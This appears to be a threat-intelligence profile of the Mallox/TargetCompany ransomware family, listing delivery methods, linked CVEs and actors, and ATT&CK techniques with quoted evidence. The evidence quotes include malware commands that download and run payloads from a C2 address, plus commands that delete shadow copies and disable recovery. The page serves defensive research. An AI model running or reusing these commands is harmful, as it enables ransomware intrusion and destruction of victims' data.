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Mallory
Malware3 associated actors4 associated CVEs

Mallox

Tracked since Jan 21, 2026 · Updated 1 month ago
Trending this weekNot trendingOutside this week’s top 100
Mention activity · 30 daysNo mention activity in the last 30 days.
Vulns4Associated
Actors3Associated
ATT&CK32Techniques
IOCs105Tracked
Type
Ransomware
Capabilities
ExtortionDefense evasionExfiltrationReconnaissance
Delivery
Malspam
Platforms
WindowsLinuxEsxi

Mallox, also known as TargetCompany, is an enterprise-focused ransomware family and ransomware-as-a-service operation active since 2021. Related variants are known as Fargo, Xollam, and Bozon. The operation introduced an affiliate program in 2022 and uses double extortion, combining file encryption with threats to publish stolen information. Affiliates conduct both opportunistic attacks against individual servers and broader compromises of corporate networks.

Mallox intrusions frequently begin with brute-force attacks against weak credentials on internet-exposed Microsoft SQL Server instances or exploitation of unpatched server vulnerabilities. Attackers abuse SQL Server command-execution features, CLR assemblies, and OLE automation to deploy payloads. Other campaigns distribute loaders through malicious spam attachments, including OneNote attachments associated with Xollam. Delivery chains use PowerShell, .NET downloaders, and PureCrypter, with encrypted payloads and reflective or in-memory loading to hinder detection. In enterprise intrusions, affiliates have used AnyDesk for persistent access, Mimikatz for credential theft, SoftPerfect NetScan for network discovery, and FileZilla for data exfiltration.

Windows variants terminate applications and services, including database, backup, virtualization, and security software, before encrypting files. They delete shadow copies, disable recovery options, collect system information, and register victims with command-and-control infrastructure. Some variants check system language or location and avoid execution in Russian-speaking environments. The ransomware appends variant-specific extensions and leaves ransom instructions directing victims to negotiation portals.

Linux variants extend the family to VMware ESXi environments, where they collect host information and encrypt virtual-machine files. A separate Linux implementation used by one Mallox affiliate is derived from Kryptina and retains its AES-256-CBC encryption routines; this lineage does not apply to all Linux variants. Weaxor emerged as a successor and rebrand of Mallox in late 2024.

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Associated CVEs

Associated vulnerabilities

4 CVEs Mallory has correlated with this family across public research and vendor advisories. Each card links to the full Mallory page for that vulnerability.

CVE-2019-1068via sophos threat researchExploited in the wildMicrosoft SQL Server Internal Function Processing Remote Code ExecutionAt the beginning of 2022, SophosLabs and Sophos MTR had been investigating an uptick in reports of attacks against Microsoft SQL Server installations, using two venerable and long-patched remote code execution vulnerabilities (CVE-2019-1068, CVE-2020-0618). | These attacks leverage Remcos (a commercially available remote access trojan) and deploy various families of ransomware including TargetCompany, aka Mallox; GlobeImposter, aka Alpha865qqz; and BlueSky.View vulnerability →Source ↗
CVE-2020-0618via sophos threat researchExploited in the wildAuthenticated Remote Code Execution in Microsoft SQL Server Reporting ServicesAt the beginning of 2022, SophosLabs and Sophos MTR had been investigating an uptick in reports of attacks against Microsoft SQL Server installations, using two venerable and long-patched remote code execution vulnerabilities (CVE-2019-1068, CVE-2020-0618). | These attacks leverage Remcos (a commercially available remote access trojan) and deploy various families of ransomware including TargetCompany, aka Mallox; GlobeImposter, aka Alpha865qqz; and BlueSky.View vulnerability →Source ↗
CVE-2025-55182via s rm blogExploited in the wildReact2ShellS-RM has responded to an incident where a threat actor used the recently disclosed critical vulnerability known as React2Shell (CVE-2025-55182) to gain access to a corporate network and deploy ransomware.View vulnerability →Source ↗
CVE-2024-21338via sentinelone labsExploited in the wildWindows AppLocker Driver Kernel Privilege EscalationMallox ( aka TargetCompany ) ransomware is a longstanding, Enterprise-focused, RaaS. The family emerged in 2021 and is sometimes referred to as FARGO, XOLLAM, or BOZON, due to the extension appended to encrypted files in some variants.View vulnerability →Source ↗
Threat actors

Associated threat actors

3 distinct threat actors Mallory has associated with this family across public reporting. Open in Mallory to see the full evidence chain and overlapping campaigns.

View more details →
8220 Gang

It was targeted by an intrusion set leveraging brute-force tactics, aiming to deploy the Mallox ransomware via PureCrypter through several MS-SQL exploitation techniques.

via sekoia blogblog.sekoia.io
targetcompany

Weaxor est le successeur de Mallox ransomware, rebrandé fin 2024 pour contourner les profils de détection.

via cyberveillecyberveille.ch
Lazarus

Mallox ( aka TargetCompany ) ransomware is a longstanding, Enterprise-focused, RaaS. The family emerged in 2021 and is sometimes referred to as FARGO, XOLLAM, or BOZON, due to the extension appended to encrypted files in some variants.

via sentinelone labssentinelone.com
MITRE ATT&CK

Techniques & procedures

32 distinct techniques documented for this family, organized by ATT&CK tactic.

Initial Access

4 techniques
T1133External Remote ServicesEvidence1

Mallox has all the typical Big Game Hunting attributes that other groups also have, such as a leak site, a server hosted on TOR, and others.

T1190Exploit Public-Facing ApplicationEvidence4

At the beginning of 2022, SophosLabs and Sophos MTR had been investigating an uptick in reports of attacks against Microsoft SQL Server installations, using two venerable and long-patched remote code execution vulnerabilities (CVE-2019-1068, CVE-2020-0618).

T1566PhishingEvidence1

This loader usually arrives via spam email with different flavors to lure the users into downloading and executing the email attachment.

T1566.001Spearphishing AttachmentEvidence1

Mallox operators deploying the Xollam variant were also reported leveraging OneNote for phishing campaigns aiming to gain access to victims’ systems.

Execution

6 techniques
T1047Windows Management InstrumentationEvidence1

... & powershell -ExecutionPolicy Bypass %temp%\update.ps1 & WMIC process call create "%TEMP%\M0QW5DJ1.exe"

T1059Command and Scripting InterpreterEvidence1

The payload downloaded by the PowerShell script was a .NET downloader, which would subsequently retrieve an encrypted payload from the command-and-control (C&C) server.

T1059.001PowerShellEvidence5

"C:\Windows\system32\cmd.exe" /c "echo $client = New-Object System.Net.WebClient > %TEMP%\update.ps1 & echo $client.DownloadFile("http://C2_Server_IP/- malware.exe","%TEMP%\<random>.exe") >> %TEMP%\update.ps1 & powershell – ExecutionPolicy Bypass %temp%\update.ps1 & WMIC process call create "%TEMP%\<random>.exe""

T1059.003Windows Command ShellEvidence2

"C:\WINDOWS\system32\cmd.exe" /c "echo $client = New-Object System.Net.WebClient > %TEMP%\update.ps1 & echo $client.DownloadFile("http://91[.]243[.]44[.]142/pl- Ukxamliyg.exe","%TEMP%\9ETVCRZF.exe") >> %TEMP%\update.ps1 & powershell – ExecutionPolicy Bypass %temp%\update.ps1 & WMIC process call create "%TEMP%\9ETVCRZF.exe""

T1059.005Visual BasicEvidence1

A Mallox (Windows) dropper named Application.jar... was also present... The PowerShell commands are embedded within the nested MyClass.class as Java bytecode.

T1204User ExecutionEvidence2

This loader usually arrives via spam email with different flavors to lure the users into downloading and executing the email attachment.

Persistence

2 techniques
T1133External Remote ServicesEvidence1

Mallox has all the typical Big Game Hunting attributes that other groups also have, such as a leak site, a server hosted on TOR, and others.

T1547.009Shortcut ModificationEvidence1

These include packages split for 32 and 64 bit use, and a .LNK -based dropper for the payloads... Each of these images contains the same .LNK launcher, which is named Reader.lnk.

Privilege Escalation

3 techniques
T1068Exploitation for Privilege EscalationEvidence1

Exploit code for CVE-2024-21338 is included as well. CVE-2024-21338 is a local privilege escalation flaw in Windows 10 and 11... CVE-2024-21338 has been associated with other Mallox campaigns, as well as Lazarus.

T1134Access Token ManipulationEvidence1

Finally, the malware looks at its processus privileges in order to elevate them with the SeDebugPrivilege... The ransomware then adjusts its privileges to leverage the SeTakeOwnershipPrivilege and SeDebugPrivilege privileges.

T1547.009Shortcut ModificationEvidence1

These include packages split for 32 and 64 bit use, and a .LNK -based dropper for the payloads... Each of these images contains the same .LNK launcher, which is named Reader.lnk.

Stealth

6 techniques
T1027Obfuscated Files or InformationEvidence2

The final payload is in obfuscated or encrypted form, so the dotNet downloader has to decode it first. The encryption can be as simple as reversing the content of the file, or in a typical case a XOR encryption with a hardcoded key

T1070Indicator RemovalEvidence1

the gang used different sets of defense evasion and reconnaissance tools such as GMER and Advance Process Termination to manually uninstall antivirus products on the target system.

T1070.004File DeletionEvidence2

Kill$ cleaner This component drops and executes a batch file into %TEMP%. This batch file stops services and processes.

T1134Access Token ManipulationEvidence1

Finally, the malware looks at its processus privileges in order to elevate them with the SeDebugPrivilege... The ransomware then adjusts its privileges to leverage the SeTakeOwnershipPrivilege and SeDebugPrivilege privileges.

T1140Deobfuscate/Decode Files or InformationEvidence2

The loader acts as a downloader that downloads encrypted malicious content from the remote server, decrypts it in the loader memory, and executes it.

T1620Reflective Code LoadingEvidence1

Based on our investigations, Xollam uses a pseudo-fileless technique through PowerShell, which executes reflective loading to download its payload.

Defense Impairment

1 technique
T1685Disable or Modify ToolsEvidence3

The loader executes the malicious content in the memory without saving the actual payload in the disk to evade anti-virus detection.

Credential Access

1 technique
T1110Brute ForceEvidence2

Our investigations also revealed that the ransomware might have connections with other groups such as the BlueSky ransomware, as well as the threat actors who perform brute-force attacks on MS SQL Servers.

Discovery

3 techniques
T1082System Information DiscoveryEvidence3

Before encrypting the files, the ransomware exfiltrates system information such as Operating system version, Desktop name, etc., and sends it to the Command & Control (C&C) server using a POST request

T1083File and Directory DiscoveryEvidence1

After execution, the ransomware drops a batch file ... This batch file stops numerous services and programs so that associated files are encrypted without any interruption during the encryption process.

T1518Software DiscoveryEvidence1

Some basic environmental discovery commands are included (e.g., Get-WmiObject -Namespace "root\SecurityCenter2" -Class AntiVirusProduct ).

Lateral Movement

1 technique
T1021Remote ServicesEvidence1

Both Mallox and Fargo variants use a set of tools via remote desktop for defense evasion.

Command and Control

2 techniques
T1071Application Layer ProtocolEvidence2

Before encrypting the files, the ransomware exfiltrates system information such as Operating system version, Desktop name, etc., and sends it to the Command & Control (C&C) server using a POST request

T1105Ingress Tool TransferEvidence3

MTR’s investigation found very simple scripts that reach out to the download server, download the next-stage component, and execute it: $client = New-Object System.Net.WebClient $client.DownloadFile("http://91[.]243[.]44[.]142/arx-Ikrbwika.exe","C:\Users\MSSQL$~1\AppData\Local\Temp\VKDA55H6.exe")

Exfiltration

3 techniques
T1020Automated ExfiltrationEvidence1

Before encrypting the files, the ransomware exfiltrates system information such as Operating system version, Desktop name, etc., and sends it to the Command & Control (C&C) server using a POST request

T1048Exfiltration Over Alternative ProtocolEvidence1

Mallox transitioned to leveraging the double extortion strategy by exfiltrating victims’ data in addition to encrypting it, further threatening to publish stolen data.

T1537Transfer Data to Cloud AccountEvidence1

TargetCompany initiated its double-extortion scheme by setting up a Telegram channel where it could publish stolen information.

Impact

3 techniques
T1486Data Encrypted for ImpactEvidence9

Ransomware шифрует файлы с расширениями, связанными с виртуальной машиной (vmdk, vmem, vswp, vmx, vmsn, nvram), добавляя к полученным файлам расширение ".locked".

T1489Service StopEvidence2

It then creates the ransom note shown in Figure 20. Note the use of the China.Helper@aol.com address, which we also saw in the instance of the “real” GlobeImposter infection discussed above. | kill$.exe drops a batch file into %TEMP%. Interestingly, this file contains comment strings in Chinese

T1490Inhibit System RecoveryEvidence1

Mallox begins its destructive activities by starting a thread that disables certain recovery options... `bcdedit /set {current} bootstatuspolicy ignoreallfailures` `bcdedit /set {current} recoveryenabled no`... The malware deletes shadow copies using the infamous command: `vssadmin.exe delete shadows /all /quiet`.

Indicators of compromise

Observables

105 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.

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Indicator values are available in Mallory. Pivot on every hash, domain, URL, and IP, or pipe them straight into your SIEM.View all in Mallory
Activity feed

Recent activity

18 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.

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IOC matching105Match every observed IP, domain, and hash against your live telemetry.
Associated threat actors3Groups linked to this family, with evidence pinned to each claim.
Associated vulnerabilities4CVEs linked to this family, with the reporting behind each link.
Detection signaturesYARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
MITRE ATT&CK mapping32Every documented technique, ranked by evidence weight.
Researcher chatterReddit, Mastodon, and CTI community discussion around this family.